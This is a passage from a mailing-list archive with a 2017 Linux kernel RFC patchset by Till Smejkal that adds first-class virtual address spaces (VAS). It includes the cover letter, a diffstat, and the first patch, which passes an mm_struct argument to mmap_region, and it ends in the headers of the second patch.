         oXknVOREHSAdqpFh8gNiyFg5HMU9lW5/TEjrCWdsEYnE6/wLPNC/c66FW2qupa0A04pt
         hmGNdRhKqW0ROXVKZ8BrM3c9KSythEz4o3JJ67inq3xORW5SU5mi5R8Pi2hZIHjqknSA
         pDalufP5vrtZodIKehUCQrsRIGAtZs5ukYpIZ+1Tko8KrKvBh+9abPcR56OFeKngOLE6
         dHxiJQyRypSl2N/yF0HYT3pxeCm2mm0f4Te6YJu4+4T0IzOaTPz309dOWdCtnwjxa9xY
         8nbw==
X-Gm-Message-State: AMke39lVRIsHPqxn6DHzuhZ0v30vvlwAXea6lCoq3fRRzV+V/An4NIXYLaYkZWxUNNtUAwypujjAyL6aoLsh5i/lNtKyKiZLLeL385qamBx1s3Kcmg4Zrg+9RIWPnAoWX5kSHzjWINbISTn99ILm1mVNXTFk+ivDm1SMVoOdjKqXI7flSfiMbLFwU1FHcH3R9RKwIV1XwZpunpGMGH7cK4aZtRkkb4gEt5TTWsYZ7D6YhZVlirhWsgi6hrZZh+dcx1CnI016exw8Tv1syWAFgsImlJz0q4EbZb8CEI/g8YW9AzlYA0XWYho=
X-Received: by 10.223.177.151 with SMTP id q23mr28837950wra.65.1489443260527;
        Mon, 13 Mar 2017 15:14:20 -0700 (PDT)
X-Received: by 10.223.177.151 with SMTP id q23mr28837910wra.65.1489443259441;
        Mon, 13 Mar 2017 15:14:19 -0700 (PDT)
Original-Received: from mail-wr0-x243.google.com (mail-wr0-x243.google.com. [2a00:1450:400c:c0c::243])
        by mx.google.com with ESMTPS id 40si2287572wrl.337.2017.03.13.15.14.19
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 13 Mar 2017 15:14:19 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::243 as permitted sender) client-ip=2a00:1450:400c:c0c::243;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c0c::243 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wr0-x243.google.com with SMTP id g10so21790541wrg.0;
        Mon, 13 Mar 2017 15:14:19 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=HB6Ee28SXSHB4qLeQezigkg1cTeU5gQ+C8I9CspDT+M=;
        b=RSVTSqGhd2BncvA+hd8bB0MZ5pJrz2sKI5NB7hduUe+IehtHnd9cUuiwQnEp22mTLe
         rVtJT3xcGXW5xtblwSnQM9LPUU4Akx6M3xKUtPSEsKNhiYbNJOJ3vb3+duK5RORbhUl/
         MH82/5bjFAD4GzqfIXinhC8SH/Xc3iBBO0bLXmB6YIgRyEBe2AE8w2valkukqnLtiguU
         q72qUMSz0e65cNcDXw2Xa7QWlrY4py6kjSPOJV22PToCim7KZy/KAV+2AoUDyKDXsoCT
         p4+OrUHATbCSPR2C3xAVRZnF6RII7LE5TyAdLcBsSaWB55Mw8NumD+b/s9GsMfBN0mC2
         xx5g==
X-Received: by 10.223.136.253 with SMTP id g58mr33385874wrg.10.1489443258547;
        Mon, 13 Mar 2017 15:14:18 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id g45sm26528757wrd.11.2017.03.13.15.14.17
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Mon, 13 Mar 2017 15:14:17 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
X-Mailer: git-send-email 2.12.0
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-aio@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-aio.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.aio.general:4935 gmane.linux.kernel:2431231 gmane.linux.ports.alpha:4121 gmane.linux.kernel.arc:2210 gmane.linux.ports.arm.kernel:564745 gmane.linux.ports.hexagon:1146 gmane.linux.ports.ia64:27685 gmane.linux.kernel.metag:1255 gmane.linux.ports.mips.general:58331 gmane.linux.ports.parisc:27313 gmane.linux.ports.ppc64.devel:139524 gmane.linux.ports.sh.devel:55119 gmane.linux.ports.sparc:24716 gmane.linux.drivers.video-input-infrastructure:114739 gmane.linux.drivers.mtd:72530 gmane.linux.usb.general:156106 gmane.linux.file-systems:119076 gmane.linux.kernel.mm:168258 gmane.linux.kernel.api:22517 gmane.linux.kernel.cross-arch:35525 gmane.linux.alsa.devel:165303
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.aio.general/4935>

First class virtual address spaces (also called VAS) are a new functionality of
the Linux kernel allowing address spaces to exist independently of processes.
The general idea behind this feature is described in a paper at ASPLOS16 with
the title 'SpaceJMP: Programming with Multiple Virtual Address Spaces' [1].

This patchset extends the kernel memory management subsystem with a new
type of address spaces (called VAS) which can be created and destroyed
independently of processes by a user in the system. During its lifetime
such a VAS can be attached to processes by the user which allows a process
to have multiple address spaces and thereby multiple, potentially
different, views on the system's main memory. During its execution the
threads belonging to the process are able to switch freely between the
different attached VAS and the process' original AS enabling them to
utilize the different available views on the memory. These multiple virtual
address spaces per process and the possibility to switch between them
freely can be used in multiple interesting ways as also outlined in the
mentioned paper. Some of the many possible applications are for example to
compartmentalize a process for security reasons, to improve the performance
of data-centric applications and to introduce new application models [1].

In addition to the concept of first class virtual address spaces, this
patchset introduces yet another feature called VAS segments. VAS segments
are memory regions which have a fixed size and position in the virtual
address space and can be shared between multiple first class virtual
address spaces. Such shareable memory regions are especially useful for
in-memory pointer-based data structures or other pure in-memory data.

First class virtual address spaces have a significant advantage compared to
forking a process and using inter process communication mechanism, namely
that creating and switching between VAS is significant faster than creating
and switching between processes. As it can be seen in the following table,
measured on an Intel Xeon E5620 CPU with 2.40GHz, creating a VAS is about 7
times faster than forking and switching between VAS is up to 4 times faster
than switching between processes.

            |     VAS     |  processes  |
    -------------------------------------
    switch  |       468ns |      1944ns |
    create  |     20003ns |    150491ns |

Hence, first class virtual address spaces provide a fast mechanism for
applications to utilize multiple virtual address spaces in parallel with a
higher performance than splitting up the application into multiple
independent processes.

Both VAS and VAS segments have another significant advantage when combined
with non-volatile memory. Because of their independent life cycle from
processes and other kernel data structures, they can be used to save
special memory regions or even whole AS into non-volatile memory making it
possible to reuse them across multiple system reboots.

At the current state of the development, first class virtual address spaces
have one limitation, that we haven't been able to solve so far. The feature
allows, that different threads of the same process can execute in different
AS at the same time. This is possible, because the VAS-switch operation
only changes the active mm_struct for the task_struct of the calling
thread. However, when a thread switches into a first class virtual address
space, some parts of its original AS are duplicated into the new one to
allow the thread to continue its execution at its current state.
Accordingly, parts of the processes AS (e.g. the code section, data
section, heap section and stack sections) exist in multiple AS if the
process has a VAS attached to it. Changes to these shared memory regions
are synchronized between the address spaces whenever a thread switches
between two of them. Unfortunately, in some scenarios the kernel is not
able to properly synchronize all these shared memory regions because of
conflicting changes. One such example happens if there are two threads, one
executing in an attached first class virtual address space, the other in
the tasks original address space. If both threads make changes to the heap
section that cause expansion of the underlying vm_area_struct, the kernel
cannot correctly synchronize these changes, because that would cause parts
of the virtual address space to be overwritten with unrelated data. In the
current implementation such conflicts are only detected but not resolved
and result in an error code being returned by the kernel during the VAS
switch operation. Unfortunately, that means for the particular thread that
tried to make the switch, that it cannot do this anymore in the future and
accordingly has to be killed.

This code was developed during an internship at Hewlett Packard Enterprise.

[1] http://impact.crhc.illinois.edu/shared/Papers/ASPLOS16-SpaceJMP.pdf

Till Smejkal (13):
  mm: Add mm_struct argument to 'mmap_region'
  mm: Add mm_struct argument to 'do_mmap' and 'do_mmap_pgoff'
  mm: Rename 'unmap_region' and add mm_struct argument
  mm: Add mm_struct argument to 'get_unmapped_area' and
    'vm_unmapped_area'
  mm: Add mm_struct argument to 'mm_populate' and '__mm_populate'
  mm/mmap: Export 'vma_link' and 'find_vma_links' to mm subsystem
  kernel/fork: Split and export 'mm_alloc' and 'mm_init'
  kernel/fork: Define explicitly which mm_struct to duplicate during
    fork
  mm/memory: Add function to one-to-one duplicate page ranges
  mm: Introduce first class virtual address spaces
  mm/vas: Introduce VAS segments - shareable address space regions
  mm/vas: Add lazy-attach support for first class virtual address spaces
  fs/proc: Add procfs support for first class virtual address spaces

 MAINTAINERS                                  |   10 +
 arch/alpha/kernel/osf_sys.c                  |   19 +-
 arch/arc/mm/mmap.c                           |    8 +-
 arch/arm/kernel/process.c                    |    2 +-
 arch/arm/mach-rpc/ecard.c                    |    2 +-
 arch/arm/mm/mmap.c                           |   19 +-
 arch/arm64/kernel/vdso.c                     |    2 +-
 arch/blackfin/include/asm/pgtable.h          |    3 +-
 arch/blackfin/kernel/sys_bfin.c              |    5 +-
 arch/frv/mm/elf-fdpic.c                      |   11 +-
 arch/hexagon/kernel/vdso.c                   |    2 +-
 arch/ia64/kernel/perfmon.c                   |    3 +-
 arch/ia64/kernel/sys_ia64.c                  |    6 +-
 arch/ia64/mm/hugetlbpage.c                   |    7 +-
 arch/metag/mm/hugetlbpage.c                  |   11 +-
 arch/mips/kernel/vdso.c                      |    4 +-
 arch/mips/mm/mmap.c                          |   27 +-
 arch/parisc/kernel/sys_parisc.c              |   19 +-
 arch/parisc/mm/hugetlbpage.c                 |    7 +-
 arch/powerpc/include/asm/book3s/64/hugetlb.h |    6 +-
 arch/powerpc/include/asm/page_64.h           |    3 +-
 arch/powerpc/kernel/vdso.c                   |    2 +-
 arch/powerpc/mm/hugetlbpage-radix.c          |    9 +-
 arch/powerpc/mm/hugetlbpage.c                |    9 +-
 arch/powerpc/mm/mmap.c                       |   17 +-
 arch/powerpc/mm/slice.c                      |   25 +-
 arch/s390/kernel/vdso.c                      |    3 +-
 arch/s390/mm/mmap.c                          |   42 +-
 arch/sh/kernel/vsyscall/vsyscall.c           |    2 +-
 arch/sh/mm/mmap.c                            |   19 +-
 arch/sparc/include/asm/pgtable_64.h          |    4 +-
 arch/sparc/kernel/sys_sparc_32.c             |    6 +-
 arch/sparc/kernel/sys_sparc_64.c             |   31 +-
 arch/sparc/mm/hugetlbpage.c                  |   26 +-
 arch/tile/kernel/vdso.c                      |    2 +-
 arch/tile/mm/elf.c                           |    2 +-
 arch/tile/mm/hugetlbpage.c                   |   26 +-
 arch/x86/entry/syscalls/syscall_32.tbl       |   16 +
 arch/x86/entry/syscalls/syscall_64.tbl       |   16 +
 arch/x86/entry/vdso/vma.c                    |    2 +-
 arch/x86/kernel/sys_x86_64.c                 |   19 +-
 arch/x86/mm/hugetlbpage.c                    |   26 +-
 arch/x86/mm/mpx.c                            |    6 +-
 arch/xtensa/kernel/syscall.c                 |    7 +-
 drivers/char/mem.c                           |   15 +-
 drivers/dax/dax.c                            |   10 +-
 drivers/media/usb/uvc/uvc_v4l2.c             |    6 +-
 drivers/media/v4l2-core/v4l2-dev.c           |    8 +-
 drivers/media/v4l2-core/videobuf2-v4l2.c     |    5 +-
 drivers/mtd/mtdchar.c                        |    3 +-
 drivers/usb/gadget/function/uvc_v4l2.c       |    3 +-
 fs/aio.c                                     |    4 +-
 fs/exec.c                                    |    5 +-
 fs/hugetlbfs/inode.c                         |    8 +-
 fs/proc/base.c                               |  528 ++++
 fs/proc/inode.c                              |   11 +-
 fs/proc/internal.h                           |    1 +
 fs/ramfs/file-mmu.c                          |    5 +-
 fs/ramfs/file-nommu.c                        |   10 +-
 fs/romfs/mmap-nommu.c                        |    3 +-
 include/linux/fs.h                           |    2 +-
 include/linux/huge_mm.h                      |   12 +-
 include/linux/hugetlb.h                      |   10 +-
 include/linux/mm.h                           |   53 +-
 include/linux/mm_types.h                     |   16 +-
 include/linux/sched.h                        |   34 +-
 include/linux/shmem_fs.h                     |    5 +-
 include/linux/syscalls.h                     |   21 +
 include/linux/vas.h                          |  322 +++
 include/linux/vas_types.h                    |  173 ++
 include/media/v4l2-dev.h                     |    3 +-
 include/media/videobuf2-v4l2.h               |    5 +-
 include/uapi/asm-generic/unistd.h            |   34 +-
 include/uapi/linux/Kbuild                    |    1 +
 include/uapi/linux/vas.h                     |   28 +
 init/main.c                                  |    2 +
 ipc/shm.c                                    |   22 +-
 kernel/events/uprobes.c                      |    2 +-
 kernel/exit.c                                |    2 +
 kernel/fork.c                                |   99 +-
 kernel/sys_ni.c                              |   18 +
 mm/Kconfig                                   |   47 +
 mm/Makefile                                  |    1 +
 mm/gup.c                                     |    4 +-
 mm/huge_memory.c                             |   83 +-
 mm/hugetlb.c                                 |  205 +-
 mm/internal.h                                |   19 +
 mm/memory.c                                  |  469 +++-
 mm/mlock.c                                   |   21 +-
 mm/mmap.c                                    |  124 +-
 mm/mremap.c                                  |   13 +-
 mm/nommu.c                                   |   17 +-
 mm/shmem.c                                   |   14 +-
 mm/util.c                                    |    4 +-
 mm/vas.c                                     | 3466 ++++++++++++++++++++++++++
 sound/core/pcm_native.c                      |    3 +-
 96 files changed, 5927 insertions(+), 545 deletions(-)
 create mode 100644 include/linux/vas.h
 create mode 100644 include/linux/vas_types.h
 create mode 100644 include/uapi/linux/vas.h
 create mode 100644 mm/vas.c

-- 
2.12.0

--
To unsubscribe, send a message with 'unsubscribe linux-aio' in
the body to majordomo@kvack.org.  For more info on Linux AIO,
see: http://www.kvack.org/aio/
Don't email: <a href=mailto:"aart@kvack.org">aart@kvack.org</a>


From - Thu Nov 08 21:39:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
Newsgroups: gmane.linux.kernel.aio.general,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.mm,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: [RFC PATCH 01/13] mm: Add mm_struct argument to 'mmap_region'
Date: Mon, 13 Mar 2017 15:14:03 -0700
Lines: 102
Approved: news@gmane.org
Message-ID: <20170313221415.9375-2-till.smejkal@gmail.com>
References: <20170313221415.9375-1-till.smejkal@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1489443268 21800 195.159.176.226 (13 Mar 2017 22:14:28 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 13 Mar 2017 22:14:28 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
	linux-alpha@vger.kernel.org,
	linux-snps-arc@lists.infradead.org,
	linux-arm-kernel@lists.infradead.org,
	adi-buildroot-devel@lists.sourceforge.net,
	linux-hexagon@vger.kernel.org,
	linux-ia64@vger.kernel.org,
	linux-metag@vger.kernel.org,
	linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org,
	linux-s390@vger.kernel.org,
	linux-sh@vger.kernel.org,
	sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org,
	linux-media@vger.kernel.org,
	linux-mtd@lists.infradead.org,
	linux-usb@vger.kernel.org,
	linux-fsdevel@vger.kernel.org,
	linux-aio@kvack.org,
	linux-mm@kvack.org,
	linux-api@vger.kernel.org,
	linux-arch@vger.kernel.org,
	alsa-devel@alsa-project.org
To: Richard Henderson <rth@twiddle.net>,
	Ivan Kokshaysky <ink@jurassic.park.msu.ru>,
	Matt Turner <mattst88@gmail.com>,
	Vineet Gupta <vgupta@synopsys.com>,
	Russell King <linux@armlinux.org.uk>,
	Catalin Marinas <catalin.marinas@arm.com>,
	Will Deacon <will.deacon@arm.com>,
	Steven Miao <realmz6@gmail.com>,
	Richard Kuo <rkuo@codeaurora.org>,
	Tony Luck <tony.luck@intel.com>,
	Fenghua Yu <fenghua.yu@intel.com>,
	James Hogan <james.hogan@imgtec.com>,
	Ralf Baechle <ralf@linux-mips.org>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Benjamin Herrenschmidt <benh@kernel.crashing.org>,
	Paul Mackerras <paulus@samba.org>,
	Michael Ellerman <mpe@ellerman.id.au>,
	Martin Schwidefsky <schwidefsky@de.ibm.com>,
	Heiko Carstens <heiko.carstens@de.ibm.com>,
	Yoshinori Sato <ysato@users.sourceforge.jp>,
	Rich Felker <dalias@libc.org>,
	"David S. Miller" <davem@dave
Original-X-From: owner-linux-aio@kvack.org Mon Mar 13 23:14:19 2017
Return-path: <owner-linux-aio@kvack.org>
Envelope-to: gla-linux-aio@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <owner-linux-aio@kvack.org>)
	id 1cnYEM-0004cw-Ig
	for gla-linux-aio@m.gmane.org; Mon, 13 Mar 2017 23:14:18 +0100
Original-Received: by kanga.kvack.org (Postfix)
	id 941CA6B038F; Mon, 13 Mar 2017 18:14:24 -0400 (EDT)
Delivered-To: linux-aio-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 40)
	id 8BE196B038E; Mon, 13 Mar 2017 18:14:24 -0400 (EDT)
X-Original-To: int-list-linux-aio@kvack.org
X-Delivered-To: int-list-linux-aio@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 7227D6B038F; Mon, 13 Mar 2017 18:14:24 -0400 (EDT)
X-Original-To: linux-aio@kvack.org
X-Delivered-To: linux-aio@kvack.org
Original-Received: from mail-wm0-f72.google.com (mail-wm0-f72.google.com [74.125.82.72])
	by kanga.kvack.org (Postfix) with ESMTP id 148BA6B038B
	for <linux-aio@kvack.org>; Mon, 13 Mar 2017 18:14:24 -0400 (EDT)
Original-Received: by mail-wm0-f72.google.com with SMTP id u9so15921827wme.6
        for <linux-aio@kvack.org>; Mon, 13 Mar 2017 15:14:24 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:dkim-signature:from:to:cc:subject:date
         :message-id:in-reply-to:references;
        bh=qrTEuVeFqmoNxeWD+oD0bbyV24ExSoWizxW8zyCVXs4=;
        b=sg860EtMDS5pa4ValuUcwMqrLxRBb8EP4IqmMlpUaYkvLLrf7M2v3gnb2A5SVoF/65
         gA2YrZYbhMmw7hPWwBRkhKO4bzpDWG5b5POHVq2o9dHjOY2KTDoq7rk0L69aGStOkWIS
         9CqXh1zRm2JmYULWJmnqbgLyZK9aBotWjvmIE6VZcbaNG/cjl11fnVG48KY0PLoMEIKs
         saCkJ8c+fRWR6aXh0qOrHfDQekfxPyp8C42ZcPKYcWHPTBWl/j+ly3sJR803AFiBuxJt
         +hC3c3s1gmPxx15BPGdjRTmWP+hzZlA+zS1CGbRuYR+RHcmCgL94K2UPzjWyxICv0Frx
         t2IQ==
X-Gm-Message-State: AFeK/H36UrSxVo2gYJ5wtHFfSG1LuL6bAxPGPz4Bs1cut252YaifqSwFQ95meURia5XaRP5xwc5cJCyHs1lrEmT5bGNr7O3jQklBGAD2oe5HJ/10/BeyJnbhnbtanMWjxFCvUHFAZiLl/7Ce8tZ5ydyctj/b+Yd4l3RglQyXPkhpjXU/kEblB6CyWNke8TtNIg2bChg1DANozy4uXoeHK6QxTvggqAWEd+SyScWkZ6W9ilk2TdyGzQzkG3+AWw+h5d8VD3srtO3siiohJ1CuUgSCk3G7MBr+ypPk5EhjTPfp7hkU0n0C1kY=
X-Received: by 10.28.155.65 with SMTP id d62mr12296319wme.7.1489443263650;
        Mon, 13 Mar 2017 15:14:23 -0700 (PDT)
X-Received: by 10.28.155.65 with SMTP id d62mr12296289wme.7.1489443262961;
        Mon, 13 Mar 2017 15:14:22 -0700 (PDT)
Original-Received: from mail-wm0-x244.google.com (mail-wm0-x244.google.com. [2a00:1450:400c:c09::244])
        by mx.google.com with ESMTPS id i39si2324718wra.68.2017.03.13.15.14.22
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128);
        Mon, 13 Mar 2017 15:14:22 -0700 (PDT)
Received-SPF: pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c09::244 as permitted sender) client-ip=2a00:1450:400c:c09::244;
Authentication-Results: mx.google.com;
       dkim=pass header.i=@googlemail.com;
       spf=pass (google.com: domain of till.smejkal@googlemail.com designates 2a00:1450:400c:c09::244 as permitted sender) smtp.mailfrom=till.smejkal@googlemail.com;
       dmarc=pass (p=QUARANTINE sp=QUARANTINE dis=NONE) header.from=googlemail.com
Original-Received: by mail-wm0-x244.google.com with SMTP id v190so12125672wme.3;
        Mon, 13 Mar 2017 15:14:22 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=qrTEuVeFqmoNxeWD+oD0bbyV24ExSoWizxW8zyCVXs4=;
        b=q7S4CNQFN3DqmFBbidNiCSSGNqLi1YVcktW1rewuZhbsILruHO0o1TLs6FIKmptcC0
         A3cr7AbacqNkXXK9udqymZnz00wCSrEgppj1mcTGsgrZBAAZ6Tnle+JjSbxhNzpURtOo
         bcBfxdpCRXrvr6XFdbgoRi5+6gFO+7XPr7g76vQoKrT9bSjKktCzoVO5JL3PbpP4+xdB
         /3kpVlsEdGpIojcBX9OsivQ0srm9FUJacS+vYjV+o5tcFip7Nolm9EB7Ljk/ZzeyNxbp
         vQOcyXMYCRni51FrlKcgerpxVxdeb+E9zPYerfe139BaXnqeYPI/I661TiwvTARaIQlS
         cAGw==
X-Received: by 10.28.193.193 with SMTP id r184mr11420050wmf.80.1489443262309;
        Mon, 13 Mar 2017 15:14:22 -0700 (PDT)
Original-Received: from localhost (login1.zih.tu-dresden.de. [141.76.16.140])
        by smtp.googlemail.com with ESMTPSA id m139sm1027104wma.2.2017.03.13.15.14.20
        (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
        Mon, 13 Mar 2017 15:14:21 -0700 (PDT)
X-Google-Original-From: Till Smejkal <till.smejkal@gmail.com>
X-Mailer: git-send-email 2.12.0
In-Reply-To: <20170313221415.9375-1-till.smejkal@gmail.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.4
Original-Sender: owner-linux-aio@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-aio.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.aio.general:4936 gmane.linux.kernel:2431232 gmane.linux.ports.alpha:4122 gmane.linux.kernel.arc:2211 gmane.linux.ports.arm.kernel:564746 gmane.linux.ports.hexagon:1147 gmane.linux.ports.ia64:27686 gmane.linux.kernel.metag:1256 gmane.linux.ports.mips.general:58332 gmane.linux.ports.parisc:27314 gmane.linux.ports.ppc64.devel:139525 gmane.linux.ports.sh.devel:55120 gmane.linux.ports.sparc:24717 gmane.linux.drivers.video-input-infrastructure:114740 gmane.linux.drivers.mtd:72531 gmane.linux.usb.general:156107 gmane.linux.file-systems:119077 gmane.linux.kernel.mm:168259 gmane.linux.kernel.api:22518 gmane.linux.kernel.cross-arch:35526 gmane.linux.alsa.devel:165304
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.aio.general/4936>

Add to the 'mmap_region' function the mm_struct that it should operate on
as additional argument. Before, the function simply used the memory map of
the current task. However, with the introduction of first class virtual
address spaces, mmap_region needs also be able to operate on other memory
maps than only the current task ones. By adding it as argument we can now
explicitly define which memory map to use.

Signed-off-by: Till Smejkal <till.smejkal@gmail.com>
---
 arch/mips/kernel/vdso.c |  2 +-
 arch/tile/mm/elf.c      |  2 +-
 include/linux/mm.h      |  5 +++--
 mm/mmap.c               | 10 +++++-----
 4 files changed, 10 insertions(+), 9 deletions(-)

diff --git a/arch/mips/kernel/vdso.c b/arch/mips/kernel/vdso.c
index f9dbfb14af33..9631b42908f3 100644
--- a/arch/mips/kernel/vdso.c
+++ b/arch/mips/kernel/vdso.c
@@ -108,7 +108,7 @@ int arch_setup_additional_pages(struct linux_binprm *bprm, int uses_interp)
 		return -EINTR;
 
 	/* Map delay slot emulation page */
-	base = mmap_region(NULL, STACK_TOP, PAGE_SIZE,
+	base = mmap_region(mm, NULL, STACK_TOP, PAGE_SIZE,
 			   VM_READ|VM_WRITE|VM_EXEC|
 			   VM_MAYREAD|VM_MAYWRITE|VM_MAYEXEC,
 			   0);
diff --git a/arch/tile/mm/elf.c b/arch/tile/mm/elf.c
index 6225cc998db1..a22768059b7a 100644
--- a/arch/tile/mm/elf.c
+++ b/arch/tile/mm/elf.c
@@ -141,7 +141,7 @@ int arch_setup_additional_pages(struct linux_binprm *bprm,
 	 */
 	if (!retval) {
 		unsigned long addr = MEM_USER_INTRPT;
-		addr = mmap_region(NULL, addr, INTRPT_SIZE,
+		addr = mmap_region(mm, NULL, addr, INTRPT_SIZE,
 				   VM_READ|VM_EXEC|
 				   VM_MAYREAD|VM_MAYWRITE|VM_MAYEXEC, 0);
 		if (addr > (unsigned long) -PAGE_SIZE)
diff --git a/include/linux/mm.h b/include/linux/mm.h
index b84615b0f64c..fa483d2ff3eb 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -2016,8 +2016,9 @@ extern int install_special_mapping(struct mm_struct *mm,
 
 extern unsigned long get_unmapped_area(struct file *, unsigned long, unsigned long, unsigned long, unsigned long);
 
-extern unsigned long mmap_region(struct file *file, unsigned long addr,
-	unsigned long len, vm_flags_t vm_flags, unsigned long pgoff);
+extern unsigned long mmap_region(struct mm_struct *mm, struct file *file,
+				 unsigned long addr, unsigned long len,
+				 vm_flags_t vm_flags, unsigned long pgoff);
 extern unsigned long do_mmap(struct file *file, unsigned long addr,
 	unsigned long len, unsigned long prot, unsigned long flags,
 	vm_flags_t vm_flags, unsigned long pgoff, unsigned long *populate);
diff --git a/mm/mmap.c b/mm/mmap.c
index dc4291dcc99b..5ac276ac9807 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -1447,7 +1447,7 @@ unsigned long do_mmap(struct file *file, unsigned long addr,
 			vm_flags |= VM_NORESERVE;
 	}
 
-	addr = mmap_region(file, addr, len, vm_flags, pgoff);
+	addr = mmap_region(mm, file, addr, len, vm_flags, pgoff);
 	if (!IS_ERR_VALUE(addr) &&
 	    ((vm_flags & VM_LOCKED) ||
 	     (flags & (MAP_POPULATE | MAP_NONBLOCK)) == MAP_POPULATE))
@@ -1582,10 +1582,10 @@ static inline int accountable_mapping(struct file *file, vm_flags_t vm_flags)
 	return (vm_flags & (VM_NORESERVE | VM_SHARED | VM_WRITE)) == VM_WRITE;
 }
 
-unsigned long mmap_region(struct file *file, unsigned long addr,
-		unsigned long len, vm_flags_t vm_flags, unsigned long pgoff)
+unsigned long mmap_region(struct mm_struct *mm, struct file *file,
+		unsigned long addr, unsigned long len, vm_flags_t vm_flags,
+		unsigned long pgoff)
 {
-	struct mm_struct *mm = current->mm;
 	struct vm_area_struct *vma, *prev;
 	int error;
 	struct rb_node **rb_link, *rb_parent;
@@ -1704,7 +1704,7 @@ unsigned long mmap_region(struct file *file, unsigned long addr,
 	vm_stat_account(mm, vm_flags, len >> PAGE_SHIFT);
 	if (vm_flags & VM_LOCKED) {
 		if (!((vm_flags & VM_SPECIAL) || is_vm_hugetlb_page(vma) ||
-					vma == get_gate_vma(current->mm)))
+					vma == get_gate_vma(mm)))
 			mm->locked_vm += (len >> PAGE_SHIFT);
 		else
 			vma->vm_flags &= VM_LOCKED_CLEAR_MASK;
-- 
2.12.0

--
To unsubscribe, send a message with 'unsubscribe linux-aio' in
the body to majordomo@kvack.org.  For more info on Linux AIO,
see: http://www.kvack.org/aio/
Don't email: <a href=mailto:"aart@kvack.org">aart@kvack.org</a>


From - Thu Nov 08 21:39:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Till Smejkal <till.smejkal@googlemail.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.drivers.mtd,gmane.linux.usb.general,gmane.linux.file-systems,gmane.linux.kernel.aio.general,gmane.linux.kernel.api,gmane.linux.kernel.cross-arch,gmane.linux.alsa.devel
Subject: [RFC PATCH 02/13] mm: Add mm_struct argument to 'do_mmap' and 'do_mmap_pgoff'
Date: Mon, 13 Mar 2017 15:14:04 -0700
Lines: 175
Approved: news@gmane.org
Message-ID: <20170313221415.9375-3-till.smejkal@gmail.com>
References: <20170313221415.9375-1-till.smejkal@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1489443278 24551 195.159.176.226 (13 Mar 2017 22:14:38 GMT)
